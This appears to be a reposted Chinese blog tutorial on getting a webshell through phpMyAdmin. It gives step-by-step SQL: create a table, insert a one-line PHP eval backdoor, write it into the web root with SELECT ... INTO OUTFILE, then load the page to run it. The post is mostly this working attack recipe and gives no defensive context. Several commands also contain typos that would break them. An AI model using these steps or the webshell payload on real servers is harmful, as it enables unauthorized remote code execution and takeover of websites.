phpmyadmin拿webshell

    xiaoxiao2021-03-25  14

    知识点:

    导入导出数据:

    导出数据到指定路径: select 字段 from 表格 into outfile '路径' fields terminated by ',' select name form user into outfile '/home/user/a.php' fields terminated by ',' (将user表中name字段的内容导入 到/home/user/a.php,并以逗号分隔字段) 从指定路径导入数据到表格: load data infile '路径' into table 表格 fields terminated by '.' load data infile '/home/user/a.php' into tabel user2 fields terminated by ',' (将/home/user/a.php文件导入到表 格user2中,并以逗号分隔字段) ===================================================================================

    步骤:

    登录进入phpmyadmin,访问phpinfo.php查看网站路径(document_root 或者script_filename) 1、创建一个表(包括字段) create table a1 (name text not nul) 2、插入内容 insert into a1 (name) values('<?php @eval($_post[CpB])?>) 3、将一句话导出到到网站根目录SELECT name from a1 INTO OUTFILE 'c:/www/test.php'; 测试有没有上传成功LOAD DATA INFILE "c:\www\test.php" INTO TABLE a2  4、访问http://www.xxxx.com/test.php
    转载请注明原文地址: https://ju.6miu.com/read-259246.html

    最新回复(0)